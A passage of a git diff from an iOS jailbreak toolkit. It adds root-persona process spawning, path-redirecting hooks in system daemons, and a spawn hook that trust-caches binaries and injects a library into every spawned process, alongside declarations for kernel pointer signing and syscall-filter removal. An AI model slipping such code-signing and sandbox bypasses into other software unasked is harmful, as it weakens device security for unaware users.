*argv[argc+1]; argv[0] = binary; for (int i = 1; i < argc; i++) { - argv[i] = va_arg(args, const char *); + argv[i] = va_arg(va_args, const char *); } argv[argc] = NULL; + posix_spawnattr_t attr = NULL; + posix_spawnattr_init(&attr); + if (suspended) { + posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); + } + if (root) { + posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE); + posix_spawnattr_set_persona_uid_np(&attr, 0); + posix_spawnattr_set_persona_gid_np(&attr, 0); + } + + char **envToUse = envp; + if (!envToUse && getpid() != 1) { + // We NEVER want to pass launchd's environment to any process whatsoever + // This is because, amongst other things, it has DYLD_INSERT_LIBRARIES set to launchdhook which is NO good + envToUse = environ; + } + pid_t spawnedPid = 0; - int spawnError = posix_spawn(&spawnedPid, binary, NULL, NULL, (char *const *)argv, environ); + int spawnError = posix_spawn(&spawnedPid, binary, NULL, &attr, (char *const *)argv, envToUse); + if (attr) posix_spawnattr_destroy(&attr); if (spawnError != 0) return spawnError; - int status = 0; - do { - if (waitpid(spawnedPid, &status, 0) == -1) { - return -1; - } - } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + if (waitForExit && !suspended) { + return cmd_wait_for_exit(spawnedPid); + } + else if (pidOut) { + *pidOut = spawnedPid; + } + return 0; +} - return status; +int exec_cmd(const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, false, true, NULL, binary, argc, args, NULL); + va_end(args); + return r; +} + +int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, false, false, pidOut, binary, argc, args, NULL); + va_end(args); + return r; +} + +int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(true, false, false, pidOut, binary, argc, args, NULL); + va_end(args); + return r; } -void killall(const char *executablePathToKill, bool softly) +int exec_cmd_root(const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, true, true, NULL, binary, argc, args, NULL); + va_end(args); + return r; +} + +int exec_cmd_env(char **envp, const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, false, true, NULL, binary, argc, args, envp); + va_end(args); + return r; +} + +int jbctl_earlyboot(mach_port_t earlyBootServer, ...) +{ + int argc = 2; + va_list args; + va_start(args, earlyBootServer); + while (va_arg(args, const char *)) argc++; + va_end(args); + + const char *jbctlPath = JBROOT_PATH("/basebin/jbctl"); + const char *argsArr[argc+1]; + argsArr[0] = jbctlPath; + va_start(args, earlyBootServer); + for (int i = 1; i < argc-1; i++) { + argsArr[i] = va_arg(args, const char *); + } + argsArr[argc-1] = "earlyboot"; + argsArr[argc] = NULL; + + posix_spawnattr_t attr; + posix_spawnattr_init(&attr); + posix_spawnattr_set_registered_ports_np(&attr, (mach_port_t[]){earlyBootServer, MACH_PORT_NULL, MACH_PORT_NULL}, 3); + pid_t spawnedPid = 0; + int r = posix_spawn(&spawnedPid, jbctlPath, NULL, &attr, (char *const *)argsArr, NULL); + posix_spawnattr_destroy(&attr); + if (r != 0) return r; + return cmd_wait_for_exit(spawnedPid); +} + +void killall(const char *executablePath, int signal) { static int maxArgumentSize = 0; if (maxArgumentSize == 0) { @@ -366,16 +749,9 @@ void killall(const char *executablePathToKill, bool softly) size_t size = maxArgumentSize; char* buffer = (char *)malloc(length); if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) { - char *executablePath = buffer + sizeof(int); - if (strcmp(executablePath, executablePathToKill) == 0) { - if(softly) - { - kill(pid, SIGTERM); - } - else - { - kill(pid, SIGKILL); - } + char *cExecutablePath = buffer + sizeof(int); + if (strcmp(cExecutablePath, executablePath) == 0) { + kill(pid, signal); } } free(buffer); @@ -418,6 +794,7 @@ int libarchive_unarchive(const char *fileToExtract, const char *extractionPath) flags |= ARCHIVE_EXTRACT_PERM; flags |= ARCHIVE_EXTRACT_ACL; flags |= ARCHIVE_EXTRACT_FFLAGS; + flags |= ARCHIVE_EXTRACT_OWNER; a = archive_read_new(); archive_read_support_format_all(a); @@ -485,23 +862,23 @@ static void* worker_thread(void *arg) } // A thread to alternately spin and sleep. +#define ACTIVITY_WORKER_COUNT 10 static void* activity_thread(void *arg) { volatile uint64_t *runCount = arg; struct mach_timebase_info tb; mach_timebase_info(&tb); const unsigned milliseconds = 40; - const unsigned worker_count = 10; while (*runCount != 0) { // Spin for one period on multiple threads. uint64_t start = mach_absolute_time(); uint64_t end = start + milliseconds * 1000 * 1000 * tb.denom / tb.numer; - pthread_t worker[worker_count]; - for (unsigned i = 0; i < worker_count; i++) { + pthread_t worker[ACTIVITY_WORKER_COUNT]; + for (unsigned i = 0; i < ACTIVITY_WORKER_COUNT; i++) { pthread_create(&worker[i], NULL, worker_thread, &end); } worker_thread(&end); - for (unsigned i = 0; i < worker_count; i++) { + for (unsigned i = 0; i < ACTIVITY_WORKER_COUNT; i++) { pthread_join(worker[i], NULL); } // Sleep for one period. @@ -529,4 +906,57 @@ void thread_caffeinate_stop(void) if (gCaffeinateThreadRunCount == 0) { pthread_join(gCaffeinateThread, NULL); } +} + +void convert_data_to_hex_string(const void *data, size_t size, char *outBuf) +{ + unsigned char *pin = (unsigned char *)data; + const char *hex = "0123456789ABCDEF"; + char *pout = outBuf; + for(; pin < ((unsigned char *)data)+size; pout+=2, pin++){ + pout[0] = hex[(*pin>>4) & 0xF]; + pout[1] = hex[ *pin & 0xF]; + } + pout[0] = 0; +} + +int convert_hex_string_to_data(const char *string, void *outBuf) +{ + size_t length = strlen(string); + const char *pin = string; + char *pout = outBuf; + for (; pin < string+length; pin++) { + char byte = *pin; + if (byte >= '0' && byte <= '9') byte = byte - '0'; + else if (byte >= 'a' && byte <='f') byte = byte - 'a' + 10; + else if (byte >= 'A' && byte <='F') byte = byte - 'A' + 10; + else return -1; + + int shift = ((pin - (string+length)) % 2) ? 0 : 4; + *pout = (*pout & ~(0xf << shift)) | (byte << shift); + if (shift == 0) pout++; + } + return 0; +} + +char *boot_manifest_hash(void) +{ + static char *gBuf = NULL; + + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + io_registry_entry_t registryEntry = IORegistryEntryFromPath(kIOMainPortDefault, "IODeviceTree:/chosen"); + if (registryEntry) { + CFDataRef bootManifestHashData = IORegistryEntryCreateCFProperty(registryEntry, CFSTR("boot-manifest-hash"), NULL, 0); + CFIndex bootManifestHashLength = CFDataGetLength(bootManifestHashData); + + gBuf = malloc((bootManifestHashLength * 2 * sizeof(char)) + sizeof(char)); + unsigned char *buf = (unsigned char *)CFDataGetBytePtr(bootManifestHashData); + convert_data_to_hex_string(buf, bootManifestHashLength, gBuf); + + CFRelease(bootManifestHashData); + } + }); + + return gBuf; } \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/util.h b/BaseBin/libjailbreak/src/util.h index 318777758b..9abd601140 100644 --- a/BaseBin/libjailbreak/src/util.h +++ b/BaseBin/libjailbreak/src/util.h @@ -3,22 +3,20 @@ #include "info.h" #include "jbclient_xpc.h" +#include "jbroot.h" #define min(a, b) (((a) < (b)) ? (a) : (b)) #define max(a, b) (((a) > (b)) ? (a) : (b)) -#define L1_BLOCK_SIZE 0x1000000000 -#define L1_BLOCK_MASK (L1_BLOCK_SIZE-1) -#define L2_BLOCK_SIZE 0x2000000 -#define L2_BLOCK_PAGECOUNT (L2_BLOCK_SIZE / PAGE_SIZE) -#define L2_BLOCK_MASK (L2_BLOCK_SIZE-1) - +const struct mach_header *get_mach_header(const char *name); void proc_iterate(void (^itBlock)(uint64_t, bool*)); uint64_t proc_self(void); uint64_t task_self(void); uint64_t vm_map_self(void); uint64_t pmap_self(void); +uint64_t ttep_self(void); +uint64_t tte_self(void); uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port); uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port); @@ -26,41 +24,66 @@ uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port); uint64_t alloc_page_table_unassigned(void); uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va); +int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size); int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size); +#ifdef __arm64e__ +uint64_t pmap_find_main_binary_code_dir(uint64_t pmap); +uint64_t proc_find_main_binary_code_dir(uint64_t proc); +uint32_t pmap_cs_trust_string_to_int(const char *trustString); +#endif + int sign_kernel_thread(uint64_t proc, mach_port_t threadPort); uint64_t kpacda(uint64_t pointer, uint64_t modifier); uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt); -void killall(const char *executablePathToKill, bool softly); +void proc_allow_all_syscalls(uint64_t proc); +void proc_remove_msg_filter(uint64_t proc); + +void killall(const char *executablePath, int signal); int libarchive_unarchive(const char *fileToExtract, const char *extractionPath); void thread_caffeinate_start(void); void thread_caffeinate_stop(void); +void convert_data_to_hex_string(const void *data, size_t size, char *outBuf); +int convert_hex_string_to_data(const char *string, void *outBuf); + +int cmd_wait_for_exit(pid_t pid); int exec_cmd(const char *binary, ...); +int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...); +int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...); +int exec_cmd_root(const char *binary, ...); +int exec_cmd_env(char **envp, const char *binary, ...); + +int jbctl_earlyboot(mach_port_t earlyBootServer, ...); + #define exec_cmd_trusted(x, args ...) ({ \ - jbclient_trust_binary(x); \ + jbclient_trust_file_by_path(x); \ int retval; \ retval = exec_cmd(x, args); \ retval; \ }) -#define JBRootPath(path) ({ \ +char *boot_manifest_hash(void); + +#define prebootUUIDPath(path) ({ \ static char outPath[PATH_MAX]; \ - strlcpy(outPath, jbinfo(rootPath), PATH_MAX); \ + strlcpy(outPath, "/private/preboot/", PATH_MAX); \ + strlcat(outPath, boot_manifest_hash(), PATH_MAX); \ strlcat(outPath, path, PATH_MAX); \ (outPath); \ }) - #define VM_FLAGS_GET_PROT(x) ((x >> 7) & 0xFULL) #define VM_FLAGS_GET_MAXPROT(x) ((x >> 11) & 0xFULL); #define VM_FLAGS_SET_PROT(x, p) x = ((x & ~(0xFULL << 7)) | (((uint64_t)p) << 7)) #define VM_FLAGS_SET_MAXPROT(x, p) x = ((x & ~(0xFULL << 11)) | (((uint64_t)p) << 11)) #ifdef __OBJC__ -NSString *NSJBRootPath(NSString *relativePath); +NSString *NSPrebootUUIDPath(NSString *relativePath); #endif +void JBFixMobilePermissions(void); + #endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/util.m b/BaseBin/libjailbreak/src/util.m index b9a54d31b3..d1ef370367 100644 --- a/BaseBin/libjailbreak/src/util.m +++ b/BaseBin/libjailbreak/src/util.m @@ -1,9 +1,56 @@ #include "info.h" #import +#import "util.h" +#import -NSString *NSJBRootPath(NSString *relativePath) +NSString *NSPrebootUUIDPath(NSString *relativePath) { @autoreleasepool { - return [[NSString stringWithUTF8String:jbinfo(rootPath)] stringByAppendingPathComponent:relativePath]; + return [NSString stringWithUTF8String:prebootUUIDPath(relativePath.UTF8String)]; + } +} + +void _JBFixMobilePermissionsOfDirectory(NSString *directoryPath, BOOL recursive) +{ + struct stat s; + NSURL *directoryURL = [NSURL fileURLWithPath:directoryPath]; + + if (stat(directoryURL.fileSystemRepresentation, &s) == 0) { + if (s.st_uid != 501 || s.st_gid != 501) { + chown(directoryURL.fileSystemRepresentation, 501, 501); + } + } + + if (recursive) { + NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:directoryURL includingPropertiesForKeys:nil options:0 errorHandler:nil]; + for (NSURL *fileURL in enumerator) { + if (stat(fileURL.fileSystemRepresentation, &s) == 0) { + if (s.st_uid != 501 || s.st_gid != 501) { + chown(fileURL.fileSystemRepresentation, 501, 501); + } + } + } + } +} + +void JBFixMobilePermissions(void) +{ + @autoreleasepool { + NSDictionary *attributes = [[NSFileManager defaultManager] attributesOfItemAtPath:JBROOT_PATH(@"/var") error:nil]; + if ([attributes[NSFileType] isEqualToString:NSFileTypeSymbolicLink]) { + // /var/jb/var is a symlink, abort + return; + } + attributes = [[NSFileManager defaultManager] attributesOfItemAtPath:JBROOT_PATH(@"/var/mobile") error:nil]; + if ([attributes[NSFileType] isEqualToString:NSFileTypeSymbolicLink]) { + // /var/jb/var/mobile is a symlink, abort + return; + } + + _JBFixMobilePermissionsOfDirectory(JBROOT_PATH(@"/var/mobile"), NO); + _JBFixMobilePermissionsOfDirectory(JBROOT_PATH(@"/var/mobile/Library"), NO); + _JBFixMobilePermissionsOfDirectory(JBROOT_PATH(@"/var/mobile/Library/SplashBoard"), YES); + _JBFixMobilePermissionsOfDirectory(JBROOT_PATH(@"/var/mobile/Library/Application Support"), YES); + _JBFixMobilePermissionsOfDirectory(JBROOT_PATH(@"/var/mobile/Library/Preferences"), YES); } } \ No newline at end of file diff --git a/BaseBin/rootlesshooks/Makefile b/BaseBin/rootlesshooks/Makefile index bcad7e28a8..8db0265f0b 100644 --- a/BaseBin/rootlesshooks/Makefile +++ b/BaseBin/rootlesshooks/Makefile @@ -1,4 +1,4 @@ -TARGET := iphone:clang:16.5:15.0 +TARGET := iphone:clang:latest:15.0 INSTALL_TARGET_PROCESSES = lsd cfprefsd FINALPACKAGE = 1 THEOS_PACKAGE_SCHEME = rootless @@ -8,8 +8,8 @@ include $(THEOS)/makefiles/common.mk TWEAK_NAME = rootlesshooks -rootlesshooks_FILES = main.x installd.x cfprefsd.x -rootlesshooks_CFLAGS = -fobjc-arc -rootlesshooks_LDFLAGS = -rpath @loader_path/fallback +rootlesshooks_FILES = $(wildcard *.x) +rootlesshooks_CFLAGS = -fobjc-arc -I../.include +rootlesshooks_LDFLAGS = -rpath @loader_path/fallback -L../libjailbreak -ljailbreak include $(THEOS_MAKE_PATH)/tweak.mk diff --git a/BaseBin/rootlesshooks/SpringBoard.x b/BaseBin/rootlesshooks/SpringBoard.x new file mode 100644 index 0000000000..bddc998645 --- /dev/null +++ b/BaseBin/rootlesshooks/SpringBoard.x @@ -0,0 +1,71 @@ +#import +#import +#import +#import +#import + +bool string_has_prefix(const char *str, const char* prefix) +{ + if (!str || !prefix) { + return false; + } + + size_t str_len = strlen(str); + size_t prefix_len = strlen(prefix); + + if (str_len < prefix_len) { + return false; + } + + return !strncmp(str, prefix, prefix_len); +} + +@interface XBSnapshotContainerIdentity : NSObject +@property (nonatomic, readonly, copy) NSString* bundleIdentifier; +- (NSString*)snapshotContainerPath; +@end + +%hook XBSnapshotContainerIdentity + +- (NSString *)snapshotContainerPath +{ + NSString *path = %orig; + if([path hasPrefix:@"/var/mobile/Library/SplashBoard/Snapshots/"] && ![self.bundleIdentifier hasPrefix:@"com.apple."]) { + return JBROOT_PATH_NSSTRING(path); + } + return path; +} + +%end + +%hookf(int, fcntl, int fildes, int cmd, ...) { + if (cmd == F_SETPROTECTIONCLASS) { + char filePath[PATH_MAX]; + if (fcntl(fildes, F_GETPATH, filePath) != -1) { + // Skip setting protection class on jailbreak apps, this doesn't work and causes snapshots to not be saved correctly + if (string_has_prefix(filePath, JBROOT_PATH_CSTRING("/var/mobile/Library/SplashBoard/Snapshots"))) { + return 0; + } + } + } + + va_list a; + va_start(a, cmd); + const char *arg1 = va_arg(a, void *); + const void *arg2 = va_arg(a, void *); + const void *arg3 = va_arg(a, void *); + const void *arg4 = va_arg(a, void *); + const void *arg5 = va_arg(a, void *); + const void *arg6 = va_arg(a, void *); + const void *arg7 = va_arg(a, void *); + const void *arg8 = va_arg(a, void *); + const void *arg9 = va_arg(a, void *); + const void *arg10 = va_arg(a, void *); + va_end(a); + return %orig(fildes, cmd, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10); +} + +void springboardInit(void) +{ + %init(); +} diff --git a/BaseBin/rootlesshooks/cfprefsd.x b/BaseBin/rootlesshooks/cfprefsd.x index 01ececf997..172f70c65c 100644 --- a/BaseBin/rootlesshooks/cfprefsd.x +++ b/BaseBin/rootlesshooks/cfprefsd.x @@ -1,6 +1,5 @@ #import -#import "substrate.h" - +#import BOOL preferencePlistNeedsRedirection(NSString *plistPath) { @@ -38,11 +37,9 @@ BOOL preferencePlistNeedsRedirection(NSString *plistPath) return ![additionalSystemPlistNames containsObject:plistName]; } - -BOOL (*orig_CFPrefsGetPathForTriplet)(CFStringRef, CFStringRef, BOOL, CFStringRef, UInt8*); -BOOL new_CFPrefsGetPathForTriplet(CFStringRef bundleIdentifier, CFStringRef user, BOOL byHost, CFStringRef path, UInt8 *buffer) +%hookf(BOOL, _CFPrefsGetPathForTriplet, CFStringRef bundleIdentifier, CFStringRef user, BOOL byHost, CFStringRef path, UInt8 *buffer) { - BOOL orig = orig_CFPrefsGetPathForTriplet(bundleIdentifier, user, byHost, path, buffer); + BOOL orig = %orig(bundleIdentifier, user, byHost, path, buffer); if(orig && buffer && !access("/var/jb", F_OK)) { @@ -61,11 +58,7 @@ BOOL new_CFPrefsGetPathForTriplet(CFStringRef bundleIdentifier, CFStringRef user void cfprefsdInit(void) { MSImageRef coreFoundationImage = MSGetImageByName("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation"); - void* CFPrefsGetPathForTriplet_ptr = MSFindSymbol(coreFoundationImage, "__CFPrefsGetPathForTriplet"); - if(CFPrefsGetPathForTriplet_ptr) - { - MSHookFunction(CFPrefsGetPathForTriplet_ptr, (void *)&new_CFPrefsGetPathForTriplet, (void **)&orig_CFPrefsGetPathForTriplet); + if (coreFoundationImage) { + %init(_CFPrefsGetPathForTriplet = MSFindSymbol(coreFoundationImage, "__CFPrefsGetPathForTriplet")); } - - %init(); } \ No newline at end of file diff --git a/BaseBin/rootlesshooks/lsd.x b/BaseBin/rootlesshooks/lsd.x new file mode 100644 index 0000000000..f7b69cc192 --- /dev/null +++ b/BaseBin/rootlesshooks/lsd.x @@ -0,0 +1,37 @@ +#import +#import +#import + +%hookf(NSURL *, _LSGetInboxURLForBundleIdentifier, NSString *bundleIdentifier) +{ + NSURL *origURL = %orig; + if (![bundleIdentifier hasPrefix:@"com.apple"] && [origURL.path hasPrefix:@"/var/mobile/Library/Application Support/Containers/"]) { + return [NSURL fileURLWithPath:JBROOT_PATH_NSSTRING(origURL.path)]; + } + return origURL; +} + +%hookf(int, _LSServer_RebuildApplicationDatabases) +{ + int r = %orig; + + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + // Ensure jailbreak apps are readded to icon cache after the system reloads it + // A bit hacky, but works + const char *uicachePath = JBROOT_PATH_CSTRING("/usr/bin/uicache"); + if (!access(uicachePath, F_OK)) { + exec_cmd(uicachePath, "-a", NULL); + } + }); + + return r; +} + +void lsdInit(void) +{ + MSImageRef coreServicesImage = MSGetImageByName("/System/Library/Frameworks/CoreServices.framework/CoreServices"); + if (coreServicesImage) { + %init(_LSGetInboxURLForBundleIdentifier = MSFindSymbol(coreServicesImage, "__LSGetInboxURLForBundleIdentifier"), + _LSServer_RebuildApplicationDatabases = MSFindSymbol(coreServicesImage, "__LSServer_RebuildApplicationDatabases")); + } +} \ No newline at end of file diff --git a/BaseBin/rootlesshooks/main.x b/BaseBin/rootlesshooks/main.x index 1feae4cb7b..85dcd907a9 100644 --- a/BaseBin/rootlesshooks/main.x +++ b/BaseBin/rootlesshooks/main.x @@ -1,9 +1,11 @@ #import +#import NSString* safe_getExecutablePath() { - extern char*** _NSGetArgv(); - char* executablePathC = **_NSGetArgv(); + char executablePathC[PATH_MAX]; + uint32_t executablePathCSize = sizeof(executablePathC); + _NSGetExecutablePath(&executablePathC[0], &executablePathCSize); return [NSString stringWithUTF8String:executablePathC]; } @@ -15,12 +17,20 @@ NSString* getProcessName() %ctor { NSString *processName = getProcessName(); - if ([processName isEqualToString:@"installd"]) { + /*if ([processName isEqualToString:@"installd"]) { extern void installdInit(void); - //installdInit(); + installdInit(); } - else if ([processName isEqualToString:@"cfprefsd"]) { + else*/ if ([processName isEqualToString:@"cfprefsd"]) { extern void cfprefsdInit(void); cfprefsdInit(); } + else if ([processName isEqualToString:@"SpringBoard"]) { + extern void springboardInit(void); + springboardInit(); + } + else if ([processName isEqualToString:@"lsd"]) { + extern void lsdInit(void); + lsdInit(); + } } \ No newline at end of file diff --git a/BaseBin/systemhook/Makefile b/BaseBin/systemhook/Makefile index 4271158186..1c9fcf6822 100644 --- a/BaseBin/systemhook/Makefile +++ b/BaseBin/systemhook/Makefile @@ -1,13 +1,13 @@ TARGET = systemhook.dylib CC = clang -CFLAGS = -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -Wno-deprecated-declarations -Os -moutline +CFLAGS = -I../.include -I./src -I../_external/modules/litehook/src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -install_name @loader_path/$(TARGET) -Wno-deprecated-declarations -Os -moutline LDFLAGS = -dynamiclib sign: $(TARGET) @ldid -S $^ -$(TARGET): $(wildcard src/*.c ../libjailbreak/src/jbclient_xpc.c) +$(TARGET): $(wildcard src/*.c src/*.m ../libjailbreak/src/jbclient_*.c ../_external/modules/litehook/src/*.c) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ clean: diff --git a/BaseBin/systemhook/src/common.c b/BaseBin/systemhook/src/common.c index 2f2fa5d726..d805870b04 100644 --- a/BaseBin/systemhook/src/common.c +++ b/BaseBin/systemhook/src/common.c @@ -9,29 +9,11 @@ #include #include #include "envbuf.h" +#include "private.h" #include -#include +#include -#define POSIX_SPAWN_PROC_TYPE_DRIVER 0x700 -int posix_spawnattr_getprocesstype_np(const posix_spawnattr_t * __restrict, int * __restrict) __API_AVAILABLE(macos(10.8), ios(6.0)); - -char *JB_BootUUID = NULL; -char *JB_RootPath = NULL; - -#define JBD_MSG_SETUID_FIX 21 -#define JBD_MSG_PROCESS_BINARY 22 -#define JBD_MSG_DEBUG_ME 24 -#define JBD_MSG_FORK_FIX 25 -#define JBD_MSG_INTERCEPT_USERSPACE_PANIC 26 - -#define JETSAM_MULTIPLIER 3 -#define XPC_TIMEOUT 0.1 * NSEC_PER_SEC - -#define POSIX_SPAWNATTR_OFF_MEMLIMIT_ACTIVE 0x48 -#define POSIX_SPAWNATTR_OFF_MEMLIMIT_INACTIVE 0x4C -#define POSIX_SPAWNATTR_OFF_LAUNCH_TYPE 0xA8 - -bool stringStartsWith(const char *str, const char* prefix) +bool string_has_prefix(const char *str, const char* prefix) { if (!str || !prefix) { return false; @@ -47,7 +29,7 @@ bool stringStartsWith(const char *str, const char* prefix) return !strncmp(str, prefix, prefix_len); } -bool stringEndsWith(const char* str, const char* suffix) +bool string_has_suffix(const char* str, const char* suffix) { if (!str || !suffix) { return false; @@ -63,209 +45,81 @@ bool stringEndsWith(const char* str, const char* suffix) return !strcmp(str + str_len - suffix_len, suffix); } -extern char **environ; -kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port); - -// Derived from posix_spawnp in Apple libc -int resolvePath(const char *file, const char *searchPath, int (^attemptHandler)(char *path)) +void string_enumerate_components(const char *string, const char *separator, void (^enumBlock)(const char *pathString, bool *stop)) { - const char *env_path; - char *bp; - char *cur; - char *p; - char **memp; - int lp; - int ln; - int cnt; - int err = 0; - int eacces = 0; - struct stat sb; - char path_buf[PATH_MAX]; - - env_path = searchPath; - if (!env_path) { - env_path = getenv("PATH"); - if (!env_path) { - env_path = _PATH_DEFPATH; - } - } - - /* If it's an absolute or relative path name, it's easy. */ - if (index(file, '/')) { - bp = (char *)file; - cur = NULL; - goto retry; - } - bp = path_buf; - - /* If it's an empty path name, fail in the usual POSIX way. */ - if (*file == '\0') - return (ENOENT); - - if ((cur = alloca(strlen(env_path) + 1)) == NULL) - return ENOMEM; - strcpy(cur, env_path); - while ((p = strsep(&cur, ":")) != NULL) { - /* - * It's a SHELL path -- double, leading and trailing colons - * mean the current directory. - */ - if (*p == '\0') { - p = "."; - lp = 1; - } else { - lp = strlen(p); - } - ln = strlen(file); - - /* - * If the path is too long complain. This is a possible - * security issue; given a way to make the path too long - * the user may spawn the wrong program. - */ - if (lp + ln + 2 > sizeof(path_buf)) { - err = ENAMETOOLONG; - goto done; - } - bcopy(p, path_buf, lp); - path_buf[lp] = '/'; - bcopy(file, path_buf + lp + 1, ln); - path_buf[lp + ln + 1] = '\0'; - -retry: err = attemptHandler(bp); - switch (err) { - case E2BIG: - case ENOMEM: - case ETXTBSY: - goto done; - case ELOOP: - case ENAMETOOLONG: - case ENOENT: - case ENOTDIR: - break; - case ENOEXEC: - goto done; - default: - /* - * EACCES may be for an inaccessible directory or - * a non-executable file. Call stat() to decide - * which. This also handles ambiguities for EFAULT - * and EIO, and undocumented errors like ESTALE. - * We hope that the race for a stat() is unimportant. - */ - if (stat(bp, &sb) != 0) - break; - if (err == EACCES) { - eacces = 1; - continue; - } - goto done; - } - } - if (eacces) - err = EACCES; - else - err = ENOENT; -done: - return (err); -} - -void enumeratePathString(const char *pathsString, void (^enumBlock)(const char *pathString, bool *stop)) -{ - char *pathsCopy = strdup(pathsString); - char *pathString = strtok(pathsCopy, ":"); - while (pathString != NULL) { + char *stringCopy = strdup(string); + char *curString = strtok(stringCopy, separator); + while (curString != NULL) { bool stop = false; - enumBlock(pathString, &stop); + enumBlock(curString, &stop); if (stop) break; - pathString = strtok(NULL, ":"); + curString = strtok(NULL, separator); } - free(pathsCopy); + free(stringCopy); } -typedef enum -{ - kBinaryConfigDontInject = 1 << 0, - kBinaryConfigDontProcess = 1 << 1 -} kBinaryConfig; - -kBinaryConfig configForBinary(const char* path, char *const argv[restrict]) +static kSpawnConfig spawn_config_for_executable(const char* path, char *const argv[restrict]) { - if (!strcmp(path, "/usr/libexec/xpcproxy")) { - if (argv) { - if (argv[0]) { - if (argv[1]) { - if (!strcmp(argv[1], "com.apple.ReportCrash")) { - // Skip ReportCrash too as it might need to execute while jailbreakd is in a crashed state - return (kBinaryConfigDontInject | kBinaryConfigDontProcess); - } - else if (!strcmp(argv[1], "com.apple.ReportMemoryException")) { - // Skip ReportMemoryException too as it might need to execute while jailbreakd is in a crashed state - return (kBinaryConfigDontInject | kBinaryConfigDontProcess); - } - } - } - } - } - // Blacklist to ensure general system stability // I don't like this but for some processes it seems neccessary const char *processBlacklist[] = { "/System/Library/Frameworks/GSS.framework/Helpers/GSSCred", + "/System/Library/PrivateFrameworks/DataAccess.framework/Support/dataaccessd", "/System/Library/PrivateFrameworks/IDSBlastDoorSupport.framework/XPCServices/IDSBlastDoorService.xpc/IDSBlastDoorService", "/System/Library/PrivateFrameworks/MessagesBlastDoorSupport.framework/XPCServices/MessagesBlastDoorService.xpc/MessagesBlastDoorService", - "/usr/sbin/wifid" }; size_t blacklistCount = sizeof(processBlacklist) / sizeof(processBlacklist[0]); for (size_t i = 0; i < blacklistCount; i++) { - if (!strcmp(processBlacklist[i], path)) return (kBinaryConfigDontInject | kBinaryConfigDontProcess); + if (!strcmp(processBlacklist[i], path)) return 0; } - if (__builtin_available(iOS 16.0, *)) { - // The only process that can't XPC to launchd on iOS 16+ (reaason: lanuch constraint bullshit) - // TODO: Properly fix and reenable injection - if (strcmp(path, "/System/Library/Frameworks/WebKit.framework/XPCServices/com.apple.WebKit.WebContent.xpc/com.apple.WebKit.WebContent") == 0) { - return (kBinaryConfigDontInject | kBinaryConfigDontProcess); - } - } + return (kSpawnConfigInject | kSpawnConfigTrust); +} - return 0; +int __posix_spawn_orig(pid_t *restrict pid, const char *restrict path, struct _posix_spawn_args_desc *desc, char *const argv[restrict], char * const envp[restrict]) +{ + return syscall(SYS_posix_spawn, pid, path, desc, argv, envp); } -// 1. Make sure the about to be spawned binary and all of it's dependencies are trust cached -// 2. Insert "DYLD_INSERT_LIBRARIES=/usr/lib/systemhook.dylib" into all binaries spawned +int __execve_orig(const char *path, char *const argv[], char *const envp[]) +{ + return syscall(SYS_execve, path, argv, envp); +} -int spawn_hook_common(pid_t *restrict pid, const char *restrict path, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, - char *const argv[restrict], - char *const envp[restrict], - void *orig, - int (*trust_binary)(const char *)) +// 1. Ensure the binary about to be spawned and all of it's dependencies are trust cached +// 2. Insert "DYLD_INSERT_LIBRARIES=/usr/lib/systemhook.dylib" into all binaries spawned +// 3. Increase Jetsam limit to more sane value (Multipler defined as JETSAM_MULTIPLIER) + +static int spawn_exec_hook_common(const char *path, + char *const argv[restrict], + char *const envp[restrict], + struct _posix_spawn_args_desc *desc, + int (*trust_binary)(const char *path), + double jetsamMultiplier, + int (^orig)(char *const envp[restrict])) { - int (*pspawn_orig)(pid_t *restrict, const char *restrict, const posix_spawn_file_actions_t *restrict, const posix_spawnattr_t *restrict, char *const[restrict], char *const[restrict]) = orig; if (!path) { - return pspawn_orig(pid, path, file_actions, attrp, argv, envp); + return orig(envp); } - kBinaryConfig binaryConfig = configForBinary(path, argv); + posix_spawnattr_t attr = NULL; + if (desc) attr = desc->attrp; + + 